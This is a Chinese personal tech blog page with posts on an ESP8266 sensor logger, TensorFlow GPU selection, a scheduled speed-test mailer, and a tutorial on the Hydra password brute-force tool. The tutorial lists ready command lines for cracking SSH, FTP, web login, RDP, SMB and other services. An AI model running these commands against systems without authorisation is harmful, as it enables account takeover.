2月 02

ESP8266 python3 直接使用 gy-39 传感器

gy-39放在raspberry移动不太方便,耗电量也大,只为收集数据有点浪费,直接用esp8266。
ESP8266也烧成python环境。省略配置wifi部分。
将附件中lib上传,ESP8266的lib与rasbperry不同。
ESP8266接口图。

ESP8266 接口图


板子上的D1和D2对应的是ESP8266上的4,5脚,连接如图。

python3 bme280 max44009

到ESP8266查看硬件连接
>>> from machine import Pin, I2C
>>> i2c = I2C(scl=Pin(5), sda=Pin(4))
>>> i2c.scan()
[74, 118]
转换十六进制算一下,两个传感器已经都认到了,文档在raspberry pi连接GY-39文档中。
查看上传文件
>>> import os
>>> os.listdir()
[‘boot.py’, ‘bme280.py’, ‘max44009.py’]
测试传感器数据
>>> import machine
>>> import bme280
>>> i2c = machine.I2C(scl=machine.Pin(5), sda=machine.Pin(4))
>>> bme = bme280.BME280(i2c=i2c)
>>> print(bme.values)
(‘20.73C’, ‘1020.55hPa’, ‘24.31%’)
>>> import max44009
>>> lum = max44009.MAX44009()
>>> print(lum.luminosity())
3.06
一切正常。

在raspberry pi上做个简单http接口收集数据,代码如下:

import tornado.ioloop
import tornado.web
import time

def getNowTime():
    return time.strftime('%Y-%m-%d %T',time.localtime(time.time()))


class MainHandler(tornado.web.RequestHandler):
    def get(self):
        #try:
            lum = self.get_argument("lum")
            hum = self.get_argument("hum")
            temp = self.get_argument("temp")
            press = self.get_argument("press")
            f = open("./gy39.log", "a")
            tmpData = "%s %s %s %s %s\n" % (getNowTime(), lum, hum, temp, press)
            f.write(tmpData)
            f.close()
        #except:
        #    pass
            self.write("ok")

application = tornado.web.Application([
    (r"/", MainHandler),
])

if __name__ == "__main__":
    application.listen(9999)
    tornado.ioloop.IOLoop.instance().start()

ESP8266的调用传感器代码

#!/usr/bin/env python3
# -*- coding:utf-8 -*-
# Revision:
# Author:      simonzhang
# Email:       simon-zzm@163.com
# Web:         www.simonzhang.net
# -------------------------------
# http://192.168.3.212:9999/?lum=12&hum=3.43&temp=23423&press=12132

class timegy30():
    def run():
        import machine
        #
        import bme280
        i2c = machine.I2C(scl=machine.Pin(5), sda=machine.Pin(4))
        bme = bme280.BME280(i2c=i2c)
        temp = bme.values[0][:-1]
        press = bme.values[1][:-3]
        hum = bme.values[2][:-1]
        #
        import max44009
        lum = max44009.MAX44009()
        lum = lum.luminosity()
        url = "http://192.168.3.212:9999/?lum=%s&hum=%s&temp=%s&press=%s" % \
          (lum, hum, temp, press)
        #
        import urequests
        urequests.get(url)

ESP8266启动调用定时器,代码main.py。

from machine import Timer
tim = Timer(1)
def func(t):
    import timetask
    timetask.timegy30.run()

tim.init(period=3000, mode=Timer.PERIODIC, callback=func)

raspberry日志上看跑了8个多小时,收集9千多次,应该是没有丢的情况,因为中间断了一小会。

电量使用43mha,每小时是5.3MHA。

充电宝3.7v 1800MHA电芯是10块左右。接在这板子上按照3秒测试、发送一次的速度是不能用15天。如果是5分钟发一次,是不是能用150天,电池这部分我不确定,我这个也没有稳压板。我这测试好像比网上测试的耗电量都低。

后续如果优化应该有3部分。
1)cpu频率按照计算量降到最低。
2)关闭没有用的端口。
3)优化代码,设计睡眠模式。
ESP8266的看门狗和自动重启结合使用防止宕机。
使用功能mqtt进行收发,此芯片用在物联网上相当不错。

esp6288-bme280-max44009源码

6月 22

tensorflow使用gpu

显卡1060,cpu i7 7700,16G内存。
CUDA_VISIBLE_DEVICES=1 只使用gpu1
CUDA_VISIBLE_DEVICES=0,1 只用gpu0和gpu1
CUDA_VISIBLE_DEVICES=”0,1” 加引号与不加引号作用相同
CUDA_VISIBLE_DEVICES=0,2,3 只用gpu0,gpu2,gpu3不适用gpu1
CUDA_VISIBLE_DEVICES=“” 使用cpu

开始测试
CUDA_VISIBLE_DEVICES=0 python xxxx.py

测试结果,CNN使用gpu速度提高大约5倍。但是lstm没有提高,在工作模式时CPU比GPU快3倍。

部分内容出处http://www.acceleware.com/blog/cudavisibledevices-masking-gpus

5月 10

定时检测网测速

安装测试工具。官网www.speedtest.net
pip install speedtest-cli

使用下面脚本,每天随机找3个服务器测试一下,发到指定用户的邮箱里。

#!/bin/env python
# -*- coding:utf-8 -*-
# Date:        2017-05-10
# Author:      simonzhang
# web:         www.simonzhang.net
# Email:       simon-zzm@163.com
### END INIT INFO
import os, sys
import random
from string import strip

import smtplib
from email.mime.text import MIMEText
 
#### 基础设置
mail_host = 'smtp.exmail.qq.com'
mail_user = 'warning'
mail_pwd = 'aaa'
mail_to = "simon-zzm@163.com"
mail_cc = "simon-zzm@"
 
 
####
def mail_send(text):
    content = '%s' % text
    msg = MIMEText(content)
    msg['From'] = mail_user
    msg['Subject'] = 'dsg net report'
    msg['To'] = mail_to
    msg['CC'] = mail_cc
    try:
        s = smtplib.SMTP()
        s.connect(mail_host)
        s.login(mail_user, mail_pwd)
        s.sendmail(mail_user, [mail_to, mail_cc], msg.as_string())
        s.close()
    except Exception, e:
        print e

def speedTestStatus(serverId):
    getData = os.popen('/usr/local/bin/speedtest-cli --server=%s --share' % serverId).readlines()
    for oneData in getData:
        if oneData[-1] == '\n':
            oneData = oneData[:-1]
        if oneData.find('Download:') > -1:
            download = strip(oneData).split(' ')
            downStatus = "%s%s" % (download[1], download[2])
        if oneData.find('Upload:') > -1:
            upload = strip(oneData).split(' ')
            upStatus = "%s%s" % (upload[1], upload[2])
        if oneData.find('Share results:') > -1:
            pic = strip(oneData).split(' ')
            picStatus = "%s" % (pic[-1])
    return downStatus, upStatus, picStatus


def getChainServerList():
    getData = os.popen('/usr/local/bin/speedtest-cli --list|grep -i china').readlines()
    idList = []
    for oneData in getData:
        idList.append(strip(oneData.split(') ')[0]))
    return idList

def main():
    # 查找测试服务器中国服务器id
    # 并随机选出三个
    getID = random.sample(getChainServerList(), 3)
    # 进行测试,并返回结果。
    context = ""
    for oneId in getID:
        down, up, pic = speedTestStatus(oneId)
        context = "%s testId:%s down:%s up:%s pic:%s\n" % (context, oneId, down, up, pic)
    mail_send(context)

if __name__ == '__main__':
    main()
5月 05

暴力破解工具hydra

https://www.thc.org/thc-hydra/
yum install openssl-devel pcre-devel ncpfs-devel postgresql-devel libssh-devel subversion-devel

hydra下载地址:http://www.thc.org/releases/hydra-7.3.tar.gz

# tar zxvf hydra-7.0-src.tar.gz
# cd hydra-7.0-src
# ./configure
# make
# make install

参数说明
hydra [[[-l LOGIN|-L FILE] [-p PASS|-P FILE]] | [-C FILE]] [-e ns]
[-o FILE] [-t TASKS] [-M FILE [-T TASKS]] [-w TIME] [-f] [-s PORT] [-S] [-vV] server service [OPT]
-R 继续从上一次进度接着破解。
-S 采用SSL链接。
-s PORT 可通过这个参数指定非默认端口。
-l LOGIN 指定破解的用户,对特定用户破解。
-L FILE 指定用户名字典。
-p PASS 小写,指定密码破解,少用,一般是采用密码字典。
-P FILE 大写,指定密码字典。
-e ns 可选选项,n:空密码试探,s:使用指定用户和密码试探。
-C FILE 使用冒号分割格式,例如“登录名:密码”来代替-L/-P参数。
-M FILE 指定目标列表文件一行一条。
-o FILE 指定结果输出文件。
-f 在使用-M参数以后,找到第一对登录名或者密码的时候中止破解。
-t TASKS 同时运行的线程数,默认为16。
-w TIME 设置最大超时的时间,单位秒,默认是30s。
-v / -V 显示详细过程。
server 目标ip
service 指定服务名,支持的服务和协议:telnet ftp pop3[-ntlm] imap[-ntlm] smb smbnt http-{head|get} http-{get|post}-form http-proxy cisco cisco-enable vnc ldap2 ldap3 mssql mysql oracle-listener postgres nntp socks5 rexec rlogin pcnfs snmp rsh cvs svn icq sapr3 ssh smtp-auth[-ntlm] pcanywhere teamspeak sip vmauthd firebird ncp afp等等。
OPT 可选项

各种用法实例
1、破解ssh:
hydra -l 用户名 -p 密码字典 -t 线程 -vV -e ns ip ssh
hydra -l 用户名 -p 密码字典 -t 线程 -o save.log -vV ip ssh

2、破解ftp:
hydra ip ftp -l 用户名 -P 密码字典 -t 线程(默认16) -vV
hydra ip ftp -l 用户名 -P 密码字典 -e ns -vV

3、get方式提交,破解web登录:
hydra -l 用户名 -p 密码字典 -t 线程 -vV -e ns ip http-get /admin/
hydra -l 用户名 -p 密码字典 -t 线程 -vV -e ns -f ip http-get /admin/index.php

4、post方式提交,破解web登录:
hydra -l 用户名 -P 密码字典 -s 80 ip http-post-form “/admin/login.php:username=^USER^&password=^PASS^&submit=login:sorry password”
hydra -t 3 -l admin -P pass.txt -o out.txt -f 10.36.16.18 http-post-form “login.php:id=^USER^&passwd=^PASS^:wrong username or password
(参数说明:-t同时线程数3,-l用户名是admin,字典pass.txt,保存为out.txt,-f 当破解了一个密码就停止, 10.36.16.18目标ip,http-post-form表示破解是采用http的post方式提交的表单密码破解,中的内容是表示错误猜解的返回信息提示。)</p> <p>5、破解https:<br /> hydra -m /index.php -l muts -P pass.txt 10.36.16.18 https</p> <p>6、破解teamspeak:<br /> hydra -l 用户名 -P 密码字典 -s 端口号 -vV ip teamspeak</p> <p>7、破解cisco:<br /> hydra -P pass.txt 10.36.16.18 cisco<br /> hydra -m cloud -P pass.txt 10.36.16.18 cisco-enable</p> <p>8、破解smb:<br /> hydra -l administrator -P pass.txt 10.36.16.18 smb</p> <p>9、破解pop3:<br /> hydra -l muts -P pass.txt my.pop3.mail pop3</p> <p>10、破解rdp:<br /> hydra ip rdp -l administrator -P pass.txt -V</p> <p>11、破解http-proxy:<br /> hydra -l admin -P pass.txt http-proxy://10.36.16.18</p> <p>12、破解imap:<br /> hydra -L user.txt -p secret 10.36.16.18 imap PLAIN<br /> hydra -C defaults.txt -6 imap://[fe80::2c:31ff:fe12:ac11]:143/PLAIN</p> </div><!-- .entry-content --> <div style="clear:both;"></div> <footer class="entry-meta" style="clear:both;"> <span class="cat-links"> <span class="entry-utility-prep entry-utility-prep-cat-links">Posted in</span> <a href="http://www.simonzhang.net/?cat=3" rel="category">技术杂类</a> </span> <span class="sep"> | </span> <span class="comments-link"><a href="http://www.simonzhang.net/?p=3090#respond"><span class="leave-reply">Leave a reply</span></a></span> </footer><!-- #entry-meta --> </article><!-- #post-3090 --> <div class="pagination"><span>Page 2 of 10</span><a href='http://www.simonzhang.net/?cat=3'>‹ Previous</a><a href='http://www.simonzhang.net/?cat=3' class="inactive">1</a><span class="current">2</span><a href='http://www.simonzhang.net/?cat=3&paged=3' class="inactive">3</a><a href='http://www.simonzhang.net/?cat=3&paged=4' class="inactive">4</a><a href='http://www.simonzhang.net/?cat=3&paged=5' class="inactive">5</a><a href="http://www.simonzhang.net/?cat=3&paged=3">Next ›</a><a href='http://www.simonzhang.net/?cat=3&paged=10'>Last »</a></div> </div><!-- #content --> </section><!-- #primary --> <div id="secondary" class="widget-area" role="complementary"> <aside id="recent-posts-2" class="widget widget_recent_entries"> <h3 class="widget-title">近期文章</h3> <ul> <li> <a href="http://www.simonzhang.net/?p=3386">golang用 channel简单高效队列</a> </li> <li> <a href="http://www.simonzhang.net/?p=3292">[转载]golang pprof</a> </li> <li> <a href="http://www.simonzhang.net/?p=3377">esp32 +oled显示英文、中文</a> </li> <li> <a href="http://www.simonzhang.net/?p=3370">rust学习初步</a> </li> <li> <a href="http://www.simonzhang.net/?p=3366">python3 多CPU加速</a> </li> <li> <a href="http://www.simonzhang.net/?p=3363">Did not receive identification string from 127.0.0.1 port 问题处理</a> </li> <li> <a href="http://www.simonzhang.net/?p=3360">3D打印机启停代码Gcode</a> </li> <li> <a href="http://www.simonzhang.net/?p=3353">echarts 在图片上做标注</a> </li> <li> <a href="http://www.simonzhang.net/?p=3350">keras-retinanet 报内存不足问题</a> </li> <li> <a href="http://www.simonzhang.net/?p=3346">excel提取数字</a> </li> <li> <a href="http://www.simonzhang.net/?p=3334">防火墙中”connection state”与“tcp Flags” 理解学习</a> </li> <li> <a href="http://www.simonzhang.net/?p=3306">snmp 交换机 带宽计算 python</a> </li> </ul> </aside><aside id="categories-3" class="widget widget_categories"><h3 class="widget-title">分类目录</h3> <ul> <li class="cat-item cat-item-455"><a href="http://www.simonzhang.net/?cat=455" title="记录生活点滴">与生活的遭遇战</a> (7) </li> <li class="cat-item cat-item-406"><a href="http://www.simonzhang.net/?cat=406">五彩心情</a> (29) <ul class='children'> <li class="cat-item cat-item-511"><a href="http://www.simonzhang.net/?cat=511" title="一句话的感悟,生活的点点滴滴。">一句话的感悟</a> (4) </li> <li class="cat-item cat-item-1006"><a href="http://www.simonzhang.net/?cat=1006">开心的糖豆</a> (10) </li> </ul> </li> <li class="cat-item cat-item-412"><a href="http://www.simonzhang.net/?cat=412" title="与开发相关的技术">开发技术</a> (224) <ul class='children'> <li class="cat-item cat-item-9"><a href="http://www.simonzhang.net/?cat=9">delphi</a> (10) </li> <li class="cat-item cat-item-484"><a href="http://www.simonzhang.net/?cat=484">golang</a> (29) </li> <li class="cat-item cat-item-4"><a href="http://www.simonzhang.net/?cat=4">node.js</a> (3) </li> <li class="cat-item cat-item-17"><a href="http://www.simonzhang.net/?cat=17">python备忘</a> (129) </li> <li class="cat-item cat-item-496"><a href="http://www.simonzhang.net/?cat=496" title="raspberry pi">raspberry pi</a> (31) </li> <li class="cat-item cat-item-16"><a href="http://www.simonzhang.net/?cat=16">shell 备忘</a> (20) </li> <li class="cat-item cat-item-1029"><a href="http://www.simonzhang.net/?cat=1029">swift</a> (15) </li> <li class="cat-item cat-item-1004"><a href="http://www.simonzhang.net/?cat=1004" title="web页面的部署工具。">WebDeploy</a> (4) </li> </ul> </li> <li class="cat-item cat-item-3 current-cat"><a aria-current="page" href="http://www.simonzhang.net/?cat=3">技术杂类</a> (48) </li> <li class="cat-item cat-item-414"><a href="http://www.simonzhang.net/?cat=414">数据库技术</a> (17) <ul class='children'> <li class="cat-item cat-item-18"><a href="http://www.simonzhang.net/?cat=18">mysql数据库</a> (14) </li> <li class="cat-item cat-item-10"><a href="http://www.simonzhang.net/?cat=10">oracle数据库</a> (3) </li> </ul> </li> <li class="cat-item cat-item-8"><a href="http://www.simonzhang.net/?cat=8">杂类</a> (18) </li> <li class="cat-item cat-item-27"><a href="http://www.simonzhang.net/?cat=27">管理我见</a> (1) </li> <li class="cat-item cat-item-413"><a href="http://www.simonzhang.net/?cat=413" title="应用类技术">系统应用技术</a> (68) <ul class='children'> <li class="cat-item cat-item-13"><a href="http://www.simonzhang.net/?cat=13">linux命令</a> (21) </li> <li class="cat-item cat-item-5"><a href="http://www.simonzhang.net/?cat=5">nosql</a> (6) </li> <li class="cat-item cat-item-14"><a href="http://www.simonzhang.net/?cat=14">web系统</a> (14) </li> <li class="cat-item cat-item-545"><a href="http://www.simonzhang.net/?cat=545" title="云相关技术记录">云</a> (1) </li> <li class="cat-item cat-item-15"><a href="http://www.simonzhang.net/?cat=15">操作系统备忘</a> (18) </li> <li class="cat-item cat-item-19"><a href="http://www.simonzhang.net/?cat=19">测试</a> (7) </li> <li class="cat-item cat-item-12"><a href="http://www.simonzhang.net/?cat=12">负载</a> (3) </li> </ul> </li> <li class="cat-item cat-item-20"><a href="http://www.simonzhang.net/?cat=20">读书</a> (131) <ul class='children'> <li class="cat-item cat-item-21"><a href="http://www.simonzhang.net/?cat=21">技术类书</a> (22) </li> <li class="cat-item cat-item-22"><a href="http://www.simonzhang.net/?cat=22">非技术类书</a> (109) </li> </ul> </li> </ul> </aside><aside id="archives-2" class="widget widget_archive"><h3 class="widget-title">文章归档</h3> <label class="screen-reader-text" for="archives-dropdown-2">文章归档</label> <select id="archives-dropdown-2" name="archive-dropdown"> <option value="">选择月份</option> <option value='http://www.simonzhang.net/?m=202201'> 2022年一月  (1)</option> <option value='http://www.simonzhang.net/?m=202112'> 2021年十二月  (2)</option> <option value='http://www.simonzhang.net/?m=202108'> 2021年八月  (1)</option> <option value='http://www.simonzhang.net/?m=202106'> 2021年六月  (1)</option> <option value='http://www.simonzhang.net/?m=202105'> 2021年五月  (1)</option> <option value='http://www.simonzhang.net/?m=202011'> 2020年十一月  (1)</option> <option value='http://www.simonzhang.net/?m=202006'> 2020年六月  (1)</option> <option value='http://www.simonzhang.net/?m=202005'> 2020年五月  (2)</option> <option value='http://www.simonzhang.net/?m=201910'> 2019年十月  (1)</option> <option value='http://www.simonzhang.net/?m=201909'> 2019年九月  (2)</option> <option value='http://www.simonzhang.net/?m=201907'> 2019年七月  (1)</option> <option value='http://www.simonzhang.net/?m=201906'> 2019年六月  (1)</option> <option value='http://www.simonzhang.net/?m=201905'> 2019年五月  (1)</option> <option value='http://www.simonzhang.net/?m=201904'> 2019年四月  (1)</option> <option value='http://www.simonzhang.net/?m=201903'> 2019年三月  (2)</option> <option value='http://www.simonzhang.net/?m=201812'> 2018年十二月  (1)</option> <option value='http://www.simonzhang.net/?m=201811'> 2018年十一月  (2)</option> <option value='http://www.simonzhang.net/?m=201806'> 2018年六月  (1)</option> <option value='http://www.simonzhang.net/?m=201805'> 2018年五月  (1)</option> <option value='http://www.simonzhang.net/?m=201804'> 2018年四月  (1)</option> <option value='http://www.simonzhang.net/?m=201803'> 2018年三月  (2)</option> <option value='http://www.simonzhang.net/?m=201802'> 2018年二月  (2)</option> <option value='http://www.simonzhang.net/?m=201801'> 2018年一月  (1)</option> <option value='http://www.simonzhang.net/?m=201712'> 2017年十二月  (3)</option> <option value='http://www.simonzhang.net/?m=201711'> 2017年十一月  (2)</option> <option value='http://www.simonzhang.net/?m=201710'> 2017年十月  (1)</option> <option value='http://www.simonzhang.net/?m=201708'> 2017年八月  (1)</option> <option value='http://www.simonzhang.net/?m=201707'> 2017年七月  (2)</option> <option value='http://www.simonzhang.net/?m=201706'> 2017年六月  (1)</option> <option value='http://www.simonzhang.net/?m=201705'> 2017年五月  (3)</option> <option value='http://www.simonzhang.net/?m=201703'> 2017年三月  (5)</option> <option value='http://www.simonzhang.net/?m=201702'> 2017年二月  (5)</option> <option value='http://www.simonzhang.net/?m=201701'> 2017年一月  (3)</option> <option value='http://www.simonzhang.net/?m=201611'> 2016年十一月  (1)</option> <option value='http://www.simonzhang.net/?m=201608'> 2016年八月  (4)</option> <option value='http://www.simonzhang.net/?m=201607'> 2016年七月  (2)</option> <option value='http://www.simonzhang.net/?m=201606'> 2016年六月  (1)</option> <option value='http://www.simonzhang.net/?m=201603'> 2016年三月  (3)</option> <option value='http://www.simonzhang.net/?m=201602'> 2016年二月  (6)</option> <option value='http://www.simonzhang.net/?m=201601'> 2016年一月  (8)</option> <option value='http://www.simonzhang.net/?m=201512'> 2015年十二月  (6)</option> <option value='http://www.simonzhang.net/?m=201511'> 2015年十一月  (13)</option> <option value='http://www.simonzhang.net/?m=201510'> 2015年十月  (4)</option> <option value='http://www.simonzhang.net/?m=201509'> 2015年九月  (8)</option> <option value='http://www.simonzhang.net/?m=201508'> 2015年八月  (2)</option> <option value='http://www.simonzhang.net/?m=201507'> 2015年七月  (1)</option> <option value='http://www.simonzhang.net/?m=201506'> 2015年六月  (5)</option> <option value='http://www.simonzhang.net/?m=201505'> 2015年五月  (4)</option> <option value='http://www.simonzhang.net/?m=201504'> 2015年四月  (6)</option> <option value='http://www.simonzhang.net/?m=201503'> 2015年三月  (4)</option> <option value='http://www.simonzhang.net/?m=201502'> 2015年二月  (3)</option> <option value='http://www.simonzhang.net/?m=201501'> 2015年一月  (3)</option> <option value='http://www.simonzhang.net/?m=201412'> 2014年十二月  (5)</option> <option value='http://www.simonzhang.net/?m=201411'> 2014年十一月  (7)</option> <option value='http://www.simonzhang.net/?m=201410'> 2014年十月  (7)</option> <option value='http://www.simonzhang.net/?m=201409'> 2014年九月  (7)</option> <option value='http://www.simonzhang.net/?m=201408'> 2014年八月  (8)</option> <option value='http://www.simonzhang.net/?m=201407'> 2014年七月  (3)</option> <option value='http://www.simonzhang.net/?m=201406'> 2014年六月  (4)</option> <option value='http://www.simonzhang.net/?m=201405'> 2014年五月  (5)</option> <option value='http://www.simonzhang.net/?m=201404'> 2014年四月  (7)</option> <option value='http://www.simonzhang.net/?m=201403'> 2014年三月  (5)</option> <option value='http://www.simonzhang.net/?m=201402'> 2014年二月  (4)</option> <option value='http://www.simonzhang.net/?m=201401'> 2014年一月  (5)</option> <option value='http://www.simonzhang.net/?m=201312'> 2013年十二月  (10)</option> <option value='http://www.simonzhang.net/?m=201311'> 2013年十一月  (6)</option> <option value='http://www.simonzhang.net/?m=201310'> 2013年十月  (4)</option> <option value='http://www.simonzhang.net/?m=201309'> 2013年九月  (8)</option> <option value='http://www.simonzhang.net/?m=201308'> 2013年八月  (9)</option> <option value='http://www.simonzhang.net/?m=201307'> 2013年七月  (5)</option> <option value='http://www.simonzhang.net/?m=201306'> 2013年六月  (5)</option> <option value='http://www.simonzhang.net/?m=201305'> 2013年五月  (9)</option> <option value='http://www.simonzhang.net/?m=201304'> 2013年四月  (6)</option> <option value='http://www.simonzhang.net/?m=201303'> 2013年三月  (9)</option> <option value='http://www.simonzhang.net/?m=201302'> 2013年二月  (9)</option> <option value='http://www.simonzhang.net/?m=201301'> 2013年一月  (7)</option> <option value='http://www.simonzhang.net/?m=201212'> 2012年十二月  (15)</option> <option value='http://www.simonzhang.net/?m=201211'> 2012年十一月  (9)</option> <option value='http://www.simonzhang.net/?m=201210'> 2012年十月  (7)</option> <option value='http://www.simonzhang.net/?m=201209'> 2012年九月  (12)</option> <option value='http://www.simonzhang.net/?m=201208'> 2012年八月  (9)</option> <option value='http://www.simonzhang.net/?m=201207'> 2012年七月  (9)</option> <option value='http://www.simonzhang.net/?m=201206'> 2012年六月  (11)</option> <option value='http://www.simonzhang.net/?m=201205'> 2012年五月  (12)</option> <option value='http://www.simonzhang.net/?m=201204'> 2012年四月  (21)</option> <option value='http://www.simonzhang.net/?m=201203'> 2012年三月  (18)</option> <option value='http://www.simonzhang.net/?m=201202'> 2012年二月  (7)</option> <option value='http://www.simonzhang.net/?m=201112'> 2011年十二月  (2)</option> <option value='http://www.simonzhang.net/?m=201110'> 2011年十月  (4)</option> <option value='http://www.simonzhang.net/?m=201109'> 2011年九月  (7)</option> <option value='http://www.simonzhang.net/?m=201107'> 2011年七月  (3)</option> <option value='http://www.simonzhang.net/?m=201106'> 2011年六月  (2)</option> <option value='http://www.simonzhang.net/?m=201105'> 2011年五月  (2)</option> <option value='http://www.simonzhang.net/?m=201104'> 2011年四月  (2)</option> <option value='http://www.simonzhang.net/?m=201103'> 2011年三月  (6)</option> <option value='http://www.simonzhang.net/?m=201102'> 2011年二月  (1)</option> <option value='http://www.simonzhang.net/?m=201101'> 2011年一月  (3)</option> <option value='http://www.simonzhang.net/?m=201010'> 2010年十月  (1)</option> <option value='http://www.simonzhang.net/?m=201009'> 2010年九月  (1)</option> <option value='http://www.simonzhang.net/?m=201008'> 2010年八月  (2)</option> <option value='http://www.simonzhang.net/?m=201007'> 2010年七月  (3)</option> <option value='http://www.simonzhang.net/?m=201006'> 2010年六月  (2)</option> <option value='http://www.simonzhang.net/?m=201005'> 2010年五月  (3)</option> <option value='http://www.simonzhang.net/?m=201004'> 2010年四月  (5)</option> <option value='http://www.simonzhang.net/?m=201003'> 2010年三月  (24)</option> <option value='http://www.simonzhang.net/?m=200807'> 2008年七月  (4)</option> </select> <script type="text/javascript"> /* <![CDATA[ */ (function() { var dropdown = document.getElementById( "archives-dropdown-2" ); function onSelectChange() { if ( dropdown.options[ dropdown.selectedIndex ].value !== '' ) { document.location.href = this.options[ this.selectedIndex ].value; } } dropdown.onchange = onSelectChange; })(); /* ]]> */ </script> </aside><aside id="calendar-2" class="widget widget_calendar"><div id="calendar_wrap" class="calendar_wrap"><table id="wp-calendar"> <caption>2025年四月</caption> <thead> <tr> <th scope="col" title="星期一">一</th> <th scope="col" title="星期二">二</th> <th scope="col" title="星期三">三</th> <th scope="col" title="星期四">四</th> <th scope="col" title="星期五">五</th> <th scope="col" title="星期六">六</th> <th scope="col" title="星期日">日</th> </tr> </thead> <tfoot> <tr> <td colspan="3" id="prev"><a href="http://www.simonzhang.net/?m=202201">« 1月</a></td> <td class="pad"> </td> <td colspan="3" id="next" class="pad"> </td> </tr> </tfoot> <tbody> <tr> <td colspan="1" class="pad"> </td><td>1</td><td>2</td><td>3</td><td>4</td><td>5</td><td>6</td> </tr> <tr> <td>7</td><td>8</td><td>9</td><td>10</td><td>11</td><td>12</td><td>13</td> </tr> <tr> <td>14</td><td>15</td><td>16</td><td>17</td><td>18</td><td>19</td><td>20</td> </tr> <tr> <td>21</td><td>22</td><td>23</td><td>24</td><td>25</td><td>26</td><td>27</td> </tr> <tr> <td>28</td><td>29</td><td id="today">30</td> <td class="pad" colspan="4"> </td> </tr> </tbody> </table></div></aside><aside id="tag_cloud-3" class="widget widget_tag_cloud"><h3 class="widget-title">标签云</h3><div class="tagcloud"><a href="http://www.simonzhang.net/?cat=9" class="tag-cloud-link tag-link-9 tag-link-position-1" style="font-size: 13.312820512821pt;" aria-label="delphi (10个项目)">delphi</a> <a href="http://www.simonzhang.net/?cat=484" class="tag-cloud-link tag-link-484 tag-link-position-2" style="font-size: 16.471794871795pt;" aria-label="golang (29个项目)">golang</a> <a href="http://www.simonzhang.net/?cat=13" class="tag-cloud-link tag-link-13 tag-link-position-3" style="font-size: 15.466666666667pt;" aria-label="linux命令 (21个项目)">linux命令</a> <a href="http://www.simonzhang.net/?cat=18" class="tag-cloud-link tag-link-18 tag-link-position-4" style="font-size: 14.317948717949pt;" aria-label="mysql数据库 (14个项目)">mysql数据库</a> <a href="http://www.simonzhang.net/?cat=4" class="tag-cloud-link tag-link-4 tag-link-position-5" style="font-size: 10.153846153846pt;" aria-label="node.js (3个项目)">node.js</a> <a href="http://www.simonzhang.net/?cat=5" class="tag-cloud-link tag-link-5 tag-link-position-6" style="font-size: 11.948717948718pt;" aria-label="nosql (6个项目)">nosql</a> <a href="http://www.simonzhang.net/?cat=10" class="tag-cloud-link tag-link-10 tag-link-position-7" style="font-size: 10.153846153846pt;" aria-label="oracle数据库 (3个项目)">oracle数据库</a> <a href="http://www.simonzhang.net/?cat=17" class="tag-cloud-link tag-link-17 tag-link-position-8" style="font-size: 20.994871794872pt;" aria-label="python备忘 (129个项目)">python备忘</a> <a href="http://www.simonzhang.net/?cat=496" class="tag-cloud-link tag-link-496 tag-link-position-9" style="font-size: 16.687179487179pt;" aria-label="raspberry pi (31个项目)">raspberry pi</a> <a href="http://www.simonzhang.net/?cat=16" class="tag-cloud-link tag-link-16 tag-link-position-10" style="font-size: 15.323076923077pt;" aria-label="shell 备忘 (20个项目)">shell 备忘</a> <a href="http://www.simonzhang.net/?cat=1029" class="tag-cloud-link tag-link-1029 tag-link-position-11" style="font-size: 14.461538461538pt;" aria-label="swift (15个项目)">swift</a> <a href="http://www.simonzhang.net/?cat=1004" class="tag-cloud-link tag-link-1004 tag-link-position-12" style="font-size: 10.871794871795pt;" aria-label="WebDeploy (4个项目)">WebDeploy</a> <a href="http://www.simonzhang.net/?cat=14" class="tag-cloud-link tag-link-14 tag-link-position-13" style="font-size: 14.317948717949pt;" aria-label="web系统 (14个项目)">web系统</a> <a href="http://www.simonzhang.net/?cat=511" class="tag-cloud-link tag-link-511 tag-link-position-14" style="font-size: 10.871794871795pt;" aria-label="一句话的感悟 (4个项目)">一句话的感悟</a> <a href="http://www.simonzhang.net/?cat=455" class="tag-cloud-link tag-link-455 tag-link-position-15" style="font-size: 12.307692307692pt;" aria-label="与生活的遭遇战 (7个项目)">与生活的遭遇战</a> <a href="http://www.simonzhang.net/?cat=545" class="tag-cloud-link tag-link-545 tag-link-position-16" style="font-size: 8pt;" aria-label="云 (1个项目)">云</a> <a href="http://www.simonzhang.net/?cat=406" class="tag-cloud-link tag-link-406 tag-link-position-17" style="font-size: 16.471794871795pt;" aria-label="五彩心情 (29个项目)">五彩心情</a> <a href="http://www.simonzhang.net/?cat=412" class="tag-cloud-link tag-link-412 tag-link-position-18" style="font-size: 22pt;" aria-label="开发技术 (175个项目)">开发技术</a> <a href="http://www.simonzhang.net/?cat=1006" class="tag-cloud-link tag-link-1006 tag-link-position-19" style="font-size: 13.312820512821pt;" aria-label="开心的糖豆 (10个项目)">开心的糖豆</a> <a href="http://www.simonzhang.net/?cat=3" class="tag-cloud-link tag-link-3 tag-link-position-20" style="font-size: 17.979487179487pt;" aria-label="技术杂类 (48个项目)">技术杂类</a> <a href="http://www.simonzhang.net/?cat=21" class="tag-cloud-link tag-link-21 tag-link-position-21" style="font-size: 15.610256410256pt;" aria-label="技术类书 (22个项目)">技术类书</a> <a href="http://www.simonzhang.net/?cat=15" class="tag-cloud-link tag-link-15 tag-link-position-22" style="font-size: 15.035897435897pt;" aria-label="操作系统备忘 (18个项目)">操作系统备忘</a> <a href="http://www.simonzhang.net/?cat=414" class="tag-cloud-link tag-link-414 tag-link-position-23" style="font-size: 12.307692307692pt;" aria-label="数据库技术 (7个项目)">数据库技术</a> <a href="http://www.simonzhang.net/?cat=8" class="tag-cloud-link tag-link-8 tag-link-position-24" style="font-size: 15.035897435897pt;" aria-label="杂类 (18个项目)">杂类</a> <a href="http://www.simonzhang.net/?cat=19" class="tag-cloud-link tag-link-19 tag-link-position-25" style="font-size: 12.307692307692pt;" aria-label="测试 (7个项目)">测试</a> <a href="http://www.simonzhang.net/?cat=27" class="tag-cloud-link tag-link-27 tag-link-position-26" style="font-size: 8pt;" aria-label="管理我见 (1个项目)">管理我见</a> <a href="http://www.simonzhang.net/?cat=413" class="tag-cloud-link tag-link-413 tag-link-position-27" style="font-size: 16.758974358974pt;" aria-label="系统应用技术 (32个项目)">系统应用技术</a> <a href="http://www.simonzhang.net/?cat=20" class="tag-cloud-link tag-link-20 tag-link-position-28" style="font-size: 20.851282051282pt;" aria-label="读书 (123个项目)">读书</a> <a href="http://www.simonzhang.net/?cat=12" class="tag-cloud-link tag-link-12 tag-link-position-29" style="font-size: 10.153846153846pt;" aria-label="负载 (3个项目)">负载</a> <a 